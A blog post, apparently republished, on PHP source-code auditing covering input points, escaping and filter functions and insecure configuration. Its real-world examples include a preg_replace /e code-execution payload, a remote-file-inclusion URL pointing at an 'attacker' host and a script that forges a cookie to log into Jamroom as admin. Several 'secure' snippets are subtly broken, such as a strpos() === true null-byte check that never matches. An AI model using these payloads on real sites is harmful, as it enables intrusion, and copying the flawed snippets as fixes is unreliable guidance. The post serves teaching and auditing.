Today , I decide talk about some of my experience about methods of vulnerability discovery techniques through source code auditing .
if you remember , around 1 years ago , i wrote This article :
20 ways to php Source code fuzzing (Auditing)
some time ago “Stefan Esser” made The Poster on the PHP Security . I’m going to have a brief description about most them with my experience in PHP Source code Auditing :
Most PHP Vulnerability :
1-Cross Site Scripting (XSS)
2-Cross Site Request Forgery (CSRF)
3-SQL Injection
4-Insecure Session Handling
5-Session Fixation
6-Information Disclosure
7-Header Injection
8-Insecure Configuration
9-Weak randomness
(for more information about how to find this issue in your source code , read my article :
http://www.abysssec.com/blog/2009/03/php_fuzz_audit/
And another describe [ Finding vulnerabilities in PHP scripts FULL ( with examples )]:
http://www.milw0rm.com/papers/381
These problem due to inaccuracy in ((In summary):
I – Secure Input Handling :
accept input from users without carefully to what is injected.
II – Sanitising :
Sanitizing functions can be used to “repair” user input, according to the application‘s restrictions (e.g. specific datatypes, maximum length) instead of rejecting potentially dangerous input entirely. In general, the use of sanitizing functions is not encouraged, because certain kinds and combinations of sanitizing filters may have security implications of their own. In addition, the automatic correction of typos could render the input syntactically or semantically incorrect.
for example :
- is_numeric()Checks a variable for numeric content.
- is_array()Checks if a variable is an array.
- strlen()Returns a string‘s length.
- strip_tags()Removes HTML and PHP tags.
III- Escaping :
There are several different kinds of escaping:
• The backslash prefix “\” defines a meta character within strings. For Example: \t is a tab
space, \n is a newline character, … This can be of particular interest for functions where the newline character has a special purpose, e.g. header(). Within regular expressions the backslash is used to escape special characters, such as \. or \*, which is relevant for all functions handling regular expressions.
• HTML encoding translates characters normally interpreted by the web browser as HTML into their encoded equivalents – e.g. < is < or < or < and > is > or > or >. HTML encoding should be used for output handling, where user input should be reflected in HTML without injecting code. (See also: htmlentities())
• URL encoding makes sure, that every character
not allowed within URLs, according to RFC 1738, is properly encoded. E.g. space converts to + or %20 and < is %3C. This escaping is relevant for functions handling URLs, such as urlencode() and urldecode().
IV – Configuration :
Programming errors, including logic program.
well , we know there are 4 points that can help us in the process :
1 – Our PHP inputs Points :
[we need to find them and all functions and variables , that these have been assigned to them .]
input Point in PHP.Programing are :
$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
2- Limiting our understanding :
Very good , the second point : our problem begine here . we can’t find Problem in source code like the past . Because Programmers use the limitation function . for Example , wherever you see the fllowing functions that contol input variable , possibly as many attacks are carried out . so you have two solutions : find problem in logic of code or find PHP bug in PHP CORE !
A) Escaping and Encoding Functions :
A-1 (XSS dies = 90% The direct transition is a dream) :
• htmlspecialchars() , Escapes the characters & < and > as HTML entities to protect the application against XSS. The correct character set and the mode : ENT_QUOTES should be used.
1 2 3 |
<?php echo "Hello " . htmlspecialchars( $_GET['name'], ENT_QUOTES); ?> |
• htmlentities() , Applies HTML entity encoding to all applicable characters to protect the application against XSS. The correct character set and the mode ENT_QUOTES should be used.
1 2 3 |
<?php echo "Hello " . htmlentities( $_GET['name'], ENT_QUOTES); ?> |
( htmlentities() bypass in special case [utf7] : http://pstgroup.blogspot.com/2007/11/bypass-htmlentities.html )
• urlencode() , Applies URL encoding as seen in the query part of a URL.
1 2 3 |
<?php $url = "http://www.example.com/" . "index.php?param=" . urlencode($_GET['pa']); ?> |
A-2 : (SQL injection dies = 90% The direct transition is a dream) :
• addslashes() , Applies a simple backslash escaping. The input string is assumed to be single-byte encoded. addslashes() should not be used to protect against SQL injections, since most database systems operate with multi-byte encoded strings, such as UTF-8.
• addcslashes() , Applies backslash escaping. This can be used to prepare strings for use in a JavaScript string context. However, protection against HTML tag injection is not possible with this function.
(bypass addslashes() in special case : http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html)
• mysql_real_escape_string(), Escapes a string for use with mysql_query(). The character set of the current MySQL connection is taken into account, so it is safe to operate on multi-byte encoded strings.
Applications implementing string escaping as protection against SQL injection attacks should use this function.
1 2 3 |
<?php $sql = "SELECT * FROM user WHERE" . " login='" . mysql_real_escape_string( $_GET['login'], $db) . "'"; ?> |
A-3 : (XSS , SQl Inject = 100% The direct transition is a dream) :
• preg_quote() , Should be used to escape user input to be inserted into regular expressions. This way the regular expression is safeguarded from semantic manipulations.
Fix code :
1 2 3 |
<?php $repl = preg_replace('/^' . preg_quote($_GET['part'], '/'). '-[0-9]{1,4}/', '', $str); ?> |
issue Code [Command Execute] :
1 2 3 4 |
<?php $h = $_GET['h']; echo preg_replace("/test/e",$h,"jutst test"); ?> |
It works like this: http://site.com/test.php?h=phpinfo()
• escapeshellarg() , Escapes a single argument of a shell command. In order to prevent shell code injection, single quotes in user input is being escaped and the whole string enclosed in single quotes.
1 2 3 |
<?php system('resize /tmp/image.jpg' . escapeshellarg($_GET['w']).' '. escapeshellarg($_GET['h'])); ?> |
• escapeshellcmd() , Escapes all meta characters of a shell command in a way that no additional shell commands can be injected. If necessary, arguments should be enclosed in quotes.
1 2 3 |
<?php system(escapeshellcmd( 'resize /tmp/image.jpg "' . $_GET['w']) . '" "' . $_GET['h']) . '"')); ?> |
B- CType Extension :
By default, PHP comes with activated CType extension. Each of the following functions checks if all characters of a string fall under the described group of characters:
• ctype_alnum()alphanumeric characters – A-Z, a-z, 0-9
• ctype_alpha()alphabetic characters – A-Z, a-z
• ctype_cntrl() control characters – e.g. tab, line feed
• ctype_digit()numerical characters – 0-9
• ctype_graph()characters creating visible output e.g. no whitespace
• ctype_lower()lowercase letters – a-z
• ctype_print()printable characters
• ctype_punct()punctuation characters – printable characters, but not digits, letters or whitespace, e.g. .,!?:;*&$
• ctype_space()whitespace characters – e.g. newline, tab
• ctype_upper()uppercase characters – A-Z
• ctype_xdigit() hexadecimal digits – 0-9, a-f, A-F
1 2 3 4 5 |
<?php if (!ctype_print($_GET['var'])) { die("User input contains ". "non-printable characters"); } ?> |
C – Filter Extension – ext/filter
Starting with PHP 5.2.0 the filter extension has provided a simple API for input validation and input filtering.
• filter_input()Retrieves the value of any GET, POST, COOKIE, ENV or SERVER variable and applies the specified filter.
1 2 3 |
<?php $url = filter_input(INPUT_GET, 'url', FILTER_URL); ?> |
• filter_var()Filters a variable with the specified filter.
1 2 3 |
<?php $url = filter_var($var, FILTER_URL); ?> |
List of Filters :
Validation Filters
• FILTER_VALIDATE_INTChecks whether the input is an integer numeric value.
• FILTER_VALIDATE_BOOLEANChecks whether the input is a boolean value.
• FILTER_VALIDATE_FLOATChecks whether the input is a floating point number.
• FILTER_VALIDATE_REGEXPChecks the input against a regular expression.
• FILTER_VALIDATE_URLChecks whether the input is a URL.
• FILTER_VALIDATE_EMAILChecks whether the input is a valid email address.
• FILTER_VALIDATE_IPChecks whether the input is a valid IPv4 or IPv6.
Sanitising Filters
• FILTER_SANITIZE_STRING / FILTER_SANITIZE_STRIPPEDStrips and HTML-encodes characters according to flags and applies strip_tags().
• FILTER_SANITIZE_ENCODEDApplies URL encoding.
• FILTER_SANITIZE_SPECIAL_CHARSEncodes ‘ ” < > & \0 and optionally all characters > chr(127) into numeric HTML entities.
• FILTER_SANITIZE_EMAILRemoves all characters not commonly used in an email address.
• FILTER_SANITIZE_URLRemoves all characters not allowed in URLs.
• FILTER_SANITIZE_NUMBER_INTRemoves all characters except digits and + -.
• FILTER_SANITIZE_NUMBER_FLOATRemoves all characters not allowed in floating point numbers.
• FILTER_SANITIZE_MAGIC_QUOTESApplies addslashes().
Other Filters
• FILTER_UNSAFE_RAWIs a dummy filter.
• FILTER_CALLBACKCalls a userspace callback function defining the filter.
D) HTTP Header Output
HTTP headers can be set using the header() function. User input should always be checked before being passed to header(), otherwise a number of security issues become relevant. Newline characters should never be used with header() in order to prevent HTTP header injections. Injected headers can be used for XSS and HTTP response splitting attacks, too. In general, user input should be handled in a context-sensitive manner.
Dynamic content within parameters to Location
or Set-Cookie headers should be escaped by urlencode().
For other HTTP header parameters, unintended context changes must be prevented as well; e.g. a semicolon separates several parameters within Content-Type.
1 2 3 4 |
<?php if (strpbrk($_GET['type'], ";/\r\n")) die('invalid characters'); header("Content-Type: text/" . $_GET['type'] . "; charset=utf-8;"); ?> |
Applications should not allow arbitrary HTTP Location redirects, since these can be used for phishing attacks. In addition, open redirects can have a negative impact on the cross domain policy infrastructure of Adobe‘s Flash Player.
E)Secure File Handling:
• Detect and replace NULL bytes:
1 2 3 4 5 |
<?php if (strpos($_GET["f"], "\0") === true) { $file = str_replace("\0", "", $_GET["f"]); } ?> |
• Prevent remote file inclusion (path prefix) and directory traversal (basename):
1 2 3 |
<?php $file = "./".basename($_GET["f"]). ".php"; ?> |
• Include only whitelisted files:
1 2 3 4 5 |
<?php if (in_array($_GET['action'], array('index', 'logout'))) { include './'.$_GET['action'] . '.php'; } else die('action not permitted'); ?> |
3) Configuration point :
last point . weakness in Programing (Source code) Structure . one of the most celever part in source Code Auditing .
we sea these Fllowing Configuration in code or PHP.ini Setting :
[a]- when Server don’t Disabling Remote URLs for File Handling Functions
File handling functions like fopen, file_get_contents, and include accept URLs as file parameters (for example: fopen(‘http://www.example.com/’, ‘r’)). Even though this enables developers to access remote resources like HTTP URLs, it poses as a huge security risk if the filename is taken from user input without proper sanitization, and opens the door for remote code execution on the server.
[b] Register Globals is ‘ON’ :
Prior to version 4.2.0, PHP used to provide input values as global variables. This feature was named register_globals, and it was responsible for many security issues in web applications because it allowed attackers to freely manipulate global variables in many situations. Fortunately it’s disabled by default from PHP 4.2.0 and on, because it’s dangerous on so many scales.
1 2 3 4 5 6 |
<?php if (ereg("test.php", $PHP_SELF)==true) { include $server_inc."/step_one_tables.php"; } ?> |
demonstration :
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php
[c] Server Don’t Limit Access to Certain File Name Patterns :
Many file extensions should not be accessible by end users. Take for example .inc. Some developers prefer to assign this extension to included scripts. The problem here is that this extension isn’t parsed by the PHP engine, and as a result, anyone can view the source code by requesting the file itself: http://www.example.com/includes/settings.inc
Such files may contain sensitive data like MySQL passwords. So you need to ensure that end users can not access those files. Other candidate extensions are .sql, .mysql, and .pgsql.
Another pattern to look out for is backup files. Some editors create backup versions of edited files in the same directory where the original file is located. For example, if you edit index.php, a backup called index.php~ will be created. Given that this file doesn’t end with .php, it will not be processed by the PHP engine, and its code will also be available to users by requesting http://www.example.com/index.php~
[d] Error Messages and Logging is ON :
By default, PHP prints error messages to the browser’s output. While this is desirable during the development process, it may reveal security information to users, like installation paths or usernames.
.
And many other attacks, usually design by the programmer !
Real Word Example :
Exp 1 : PHP Code Execution:
There is an arbitrary php code execution issuedue to the unsafe use of preg_replace evaluation when parsing anchor tags and the like.
1 2 3 4 5 6 7 |
<?php // Replace any usernames $ret = preg_replace("#\[:nom:([^\]]*)\]#e", "username(0, trim(\"\\1\"))", $ret); ?> |
php code execution is possible via complex variable evaluation.
[:nom:{${phpinfo()}}]
or this code :
1 2 3 4 5 6 7 8 9 10 11 |
<?php if($globals['bbc_email']){ $text = preg_replace( array("/\[email=(.*?)\](.*?)\[\/email\]/ies", "/\[email\](.*?)\[\/email\]/ies"), array('check_email("$1", "$2")', 'check_email("$1", "$1")'), $text); } ?> |
abuse :
[email]{${phpinfo()}}[/email]
2- Configuration mistake : Authentication Bypass
There is a serious flaw in the Jamroom (JamRoom <= 3.3.8) authentication mechanism that allows for an attacker to completely bypass the authentication process with a specially crafted cookie. The vulnerable code in question can be found in /includes/jamroom-misc.inc.php @ lines 3667-3681 within the jrCookie() function
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<?php list($user,$hash) = unserialize(stripslashes($_val)); $user = trim(genc('get',$user)); $req = "SELECT user_nickname, user_password FROM {$jamroom_db['user']} WHERE user_nickname = '". dbEscapeString($user) ."' LIMIT 1"; $_rt = dbQuery($req,'SINGLE'); if (strlen($_rt['user_password']) === 0) { return(false); } if (md5($_rt['user_password'] . $sect) == $hash) { print_r($rt); return($_rt); } ?> |
The problem with the above code is that $_val is a user supplied value taken from $_COOKIE['JMU_Cookie']. Since the cookie data is serialized an attacker can specify data types such as boolean values, and bypass the password check, and authenticate with only a username. If the first byte of the password hash stored in the database is numerical then a boolean value of true can be used in place of an actual password, and if the first byte is a letter then a boolean value of false is required.
1 2 3 4 5 6 7 8 9 10 11 12 |
<?php $data = array(); $user = 'admin'; // Target $data[0] = base64_encode(serialize($user)); $data[1] = (bool)0; echo "\n\n===[ 0 ] ========================\n\n"; echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data)); $data[1] = (bool)1; echo "\n\n===[ 1 ] ========================\n\n"; echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data)); ?> |
The above script is an example of how it works, and will create a cookie to login as the user admin. For more information check out the comparison operators section of the php manual. Specifically the “identical” operator.
원문 : http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/
댓글